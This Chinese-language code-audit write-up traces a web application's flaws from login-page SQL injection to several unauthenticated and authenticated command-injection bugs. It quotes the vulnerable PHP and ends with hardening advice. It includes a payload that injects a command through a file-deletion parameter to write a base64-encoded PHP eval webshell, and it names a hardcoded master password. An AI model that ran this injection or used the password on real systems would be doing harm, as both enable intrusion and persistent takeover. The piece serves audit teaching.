记一次前台sql到rce代审
字数 973 2025-08-09 13:33:54
从前台SQL注入到RCE的代码审计实战分析
漏洞发现过程概述
-
初始探测
- 尝试弱口令登录(admin/admin)
- 目录扫描发现password.inc文件
- 抓包测试发现单引号导致回显差异,推测存在SQL注入
-
SQL注入确认
- 使用sqlmap成功验证注入
- 获取部分表数据但无法获取完整数据库信息
- 通过公开源码进行深入审计
关键漏洞分析
1. 登录页面SQL注入
漏洞代码(排版后):
// 接收Name参数
$webname = $_POST['Name'];
// 直接拼接SQL查询
$sql = "SELECT * FROM admin WHERE username='$webname'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
// 登录验证逻辑
if($row['password'] == $_POST['Password'] || $_POST['Password'] == 'hassmedia') {
// 登录成功跳转
header("Location: home.php");
}
漏洞点:
- 未过滤的
$webname直接拼接到SQL语句 - 密码验证逻辑存在缺陷(万能密码'hassmedia')
2. 后台RCE漏洞
ping功能RCE:
// manager/ipping.php
if(!isset($_SESSION['username'])) die();
$datip = $_POST['ipaddr'];
$output = shell_exec($datip);
echo $output;
漏洞特征:
- 直接使用shell_exec执行用户输入
- 无任何过滤和验证
3. 前台RCE漏洞
文件删除功能RCE:
// 无登录验证
$file = $_GET['file'];
$del_file = "rm -f $file";
exec($del_file);
利用方式:
file=1.txt;echo PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOw== | base64 -d > xxx.php
其他前台RCE:
- 网络配置功能RCE:
if($_POST['addflag'] == 1) {
$cmd = "ifconfig ".$_POST['bondaddr']." netmask ".$_POST['bondmask'];
exec("echo '$cmd'");
}
- 设备配置RCE:
$ip_dev = $_POST['ip_dev'];
if($_POST['flag'] == 1) {
$cmd = "ifconfig $ip_dev ".$_POST['sipdev'];
exec("echo '$cmd'");
}
4. 后台其他RCE漏洞
- 通道重启功能RCE:
if($_GET['actiontype'] == 'RestartChannel') {
$cmdurl = "/sbin/ifdown ".$_GET['devname'];
exec($cmdurl);
}
- IP配置RCE:
if($_POST['addflag'] == 1) {
$cmd = "ifconfig ".$_POST['ipaddr']." netmask ".$_POST['ipmask'];
exec("echo '$cmd'");
}
- 重启功能RCE:
if($_GET['actiontype'] == 'reboot') {
$devname = $_GET['dev'];
if(strstr($devname,'ppp')) {
// ...
} else {
system($devname);
}
}
漏洞利用链总结
-
初始访问:
- 通过万能密码'hassmedia'直接进入后台
- 或利用SQL注入获取管理员凭证
-
权限提升:
- 利用后台ping功能执行系统命令
- 或利用其他配置功能RCE
-
前台直接RCE:
- 无需认证的文件删除功能
- 网络/设备配置功能
安全建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用白名单验证输入格式
-
权限控制:
- 实施完善的认证和授权机制
- 敏感功能需二次验证
-
安全编码:
- 避免直接拼接用户输入到命令/查询中
- 使用参数化查询防止SQL注入
- 禁用危险函数(exec, shell_exec, system等)
-
防御措施:
- 部署WAF防护常见攻击
- 实施最小权限原则
- 定期安全审计和代码审查
审计技巧总结
-
敏感函数追踪:
- 重点审计exec, shell_exec, system, passthru等函数
- 检查数据库查询函数(mysql_query等)
-
参数传递分析:
- 跟踪用户输入从获取到使用的完整路径
- 检查是否有过滤或编码过程
-
权限验证检查:
- 确认敏感操作前是否有完善的权限验证
- 检查会话管理机制是否安全
-
业务逻辑分析:
- 理解功能的设计意图
- 对比实现与设计是否存在安全偏差
-
工具辅助:
- 使用自动化工具进行初步扫描(如Seay源代码审计系统)
- 结合手动分析验证工具结果